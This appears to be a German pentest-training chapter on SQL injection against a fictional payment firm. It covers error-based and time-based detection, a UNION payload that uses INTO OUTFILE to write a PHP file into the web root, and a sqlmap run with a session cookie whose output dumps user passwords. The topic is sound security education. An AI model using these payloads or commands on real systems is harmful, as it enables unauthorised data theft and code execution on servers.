SQL-Injections (SQLi)

Unter den drei häufigsten Schwachstellen in Webanwendungen befinden sich gemäß den OWASP TOP 10 die Injections. Zu diesen gehören u. a. SQL-Injections, welche aufgrund fehlender Eingabevalidierung nicht autorisierte Abfragen an eine Datenbank zulassen. Für uns als Angreifer kann dies der Schlüssel zum darunterliegenden IT-System sein, da wir über eine SQL-Injection womöglich sensitive Daten extrahieren oder uns sogar eine Befehlsausführung auf dem Zielsystem verschaffen können.

Zur Identifkation von SQL-Injections sollten wir uns alle Eingabefelder betrachten, welche in eine SQL-Abfrage eingebunden sein könnten. Zum Beispiel wird ein Suchfeld in einer Webanwendung über ein SELECT-Statement realisiert worden sein. Über unsere Benutzereingaben können wir dann unter Umständen Fehlermeldungen provozieren, indem wir gezielt versuchen, die Syntax des darunterliegenden SQL-Statements zu brechen. Die Eingabe eines halben Anführungszeichens (') könnte hierbei als das Ende eines Strings in SQL interpretiert werden und folgende Fehlermeldung herbeiführen:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\” at line 1

- MySQL

Wenn wir vom Webserver eine SQL-Fehlermeldung wie im obigen Beispiel angezeigt bekommen, haben wir nicht nur erfolgreich eine SQL-Injection identifiziert, sondern auch Auskunft über die eingesetzte Datenbanksoftware erhalten. Denn die Darstellung von Fehlermeldungen unterscheidet sich von Datenbankverwaltungssystem zu Datenbankverwaltungssystem. So wird eine Fehlermeldung im Fall einer Datenbank von Oracle beispielsweise wie folgt dargestellt:

ORA-00933: SQL command not properly ended

- Oracle

Im Allgemeinen existieren mehrere Arten von SQL-Injections. Eine blind SQL injection bezeichnet beispielsweise eine SQL-Injection, bei der keine Fehlermeldungen nach außen angezeigt werden. Solche SQL-Injections könnten über zeitbasierte Angriffe identifiziert werden, welche die Antwortzeiten bei Anfragen an die Webanwendung messen und miteinander vergleichen. Bei einer MySQL könnte eine Zeitverzögerung über das Einschleusen der Sleep-Funktion erreicht werden.

Im Folgenden werden wir uns der Ausnutzung von SQL-Injections über den SQL UNION Operator widmen. Der UNION Operator vereinigt grundsätzlich die Ausgaben von mindestens zwei SELECT-Anweisungen. Hierbei müssen die Tabellen das gleiche Format (Spaltenanzahl) besitzen:

SELECT ${columnA1},${columnA2} UNION SELECT ${columnB1},${columnB2}

Diese Technik versetzt uns als Angreifer in der Lage, ein SELECT-Statement um weitere Funktionen zu ergänzen. Eine MySQL-Datenbank stellt beispielsweise die Funktionen load_file() und into outfile() für einen lokalen Dateizugriff zur Verfügung. Diese können jedoch nur ausgeführt werden, wenn dem MySQL-Benutzer das FILE-Privileg zugewiesen wurde und der Systembenutzer des Prozesses die benötigten Dateiberechtigungen hat. Außerdem muss die secure_file_priv-Einstellung der MySQL deaktiviert sein. Betrachten wir uns zum Beispiel einmal das folgende Szenario:

Ein Administrator der Dubius Payment Ltd. möchte sich im Backend vom Payment-Gateway den vollständigen Namen eines Merchants anzeigen lassen. Zu diesem Zweck existiert ein Suchfeld, welche eine Merchant-ID erwartet. Die Suchdaten werden dabei über PHP in das folgende SQL-Query eingebettet:

$query = " 
         SELECT first_name , last_name  
         FROM  users  
         WHERE  user_id  = '".$_GET['id'] ."' 
         ";

Aus dem vorgenannten SELECT-Statement können wir zwei Spalten entnehmen: first_name und last_name. Ferner wird die Benutzereingabe ohne jegliche Eingabevalidierung in das SQL-Query übergeben. Als Angreifer können wir diesen Sachverhalt ausnutzen, um beispielsweise eine PHPInfo-Seite im DocumentRoot des Webservers anzulegen. Hierzu können wir den folgenden Angriffstring als Merchant-ID in die Suche eingeben:

-1' UNION SELECT "test","<?php phpinfo(); ?>" INTO OUTFILE '/var/www/html/info.php'#

An die MySQL würde somit folgende SQL-Abfrage gesendet werden:

  SELECT  first_name , last_name  
  FROM  users  
  WHERE  user_id  = '-1 ' 
  UNION SELECT  "test ","<?php phpinfo(); ?> " INTO OUTFILE  '/var/www/html/info.php ' #'

Wegen des Fehlens einer gültigen Merchant-ID (-1) würde die erste SELECT-Anweisung keine Datenbankzeilen zurückliefern. Folglich befände sich in der Datei /var/www/html/info.php nur die Ausgabe der zweiten SELECT-Anweisung: test <?php phpinfo(); ?>. Beim Aufruf der info.php über den Webserver würden wir dann eine PHPInfo-Seite erhalten, da der PHP-Code vom Webserver des Zielsystems interpretiert wird.

Für die automatische Identifikation und Ausnutzung von SQL-Injections kann das Tool sqlmap herangezogen werden. sqlmap kann sowohl GET- und POST-Parameter als auch URLs testen (→man sqlmap). Generell können die Scans aber einen zeitintensiven Prozess darstellen, sodass weitere Einstellungen zu empfehlen sind, wie die Festlegung von bestimmten SQL-Injection-Techniken (time-based, UNION Operator u. v. m.). Im folgenden Beispiel wurde der GET-Paramter period_id im Terminkalender von Dubius Payment Ltd. mittels sqlmap getestet:

 ~$ sqlmap.py \ 
   > --url "http://manager.dubius-payment.com/edit_period.php?period_id=1" \ 
   > --cookie="PHPSESSID=p734a5oilvq3dspr2nt4f7ncj3" \ 
   > --level=3 \ 
   > --risk=3 \ 
   > --technique=T \ 
   > --all 


 [*] starting at 12:35:39 
 [..] 
 GET parameter 'period_id' is vulnerable. 
 Do you want to keep testing the others (if any)? [y/N] 
 [..] 
 [12:44:38] [INFO] the back-end DBMS is MySQL 
 [..] 
 [12:58:35] [INFO] fetching columns for table 'user_info' in database 'timeclock' 
 [..] 
 [11 Entries] 
 +---------+----------+---------------------------------------------------+ 
 | user_id | fname    | lname   | level         | username  | passcode    | 
 +---------+----------+---------------------------------------------------+ 
 | 5       | Jaiden   | Pitts   | User          | jpitts    | v4orPzn9 [..]

Anmerkung: Das obige Szenario funktioniert nicht im Übungslabor.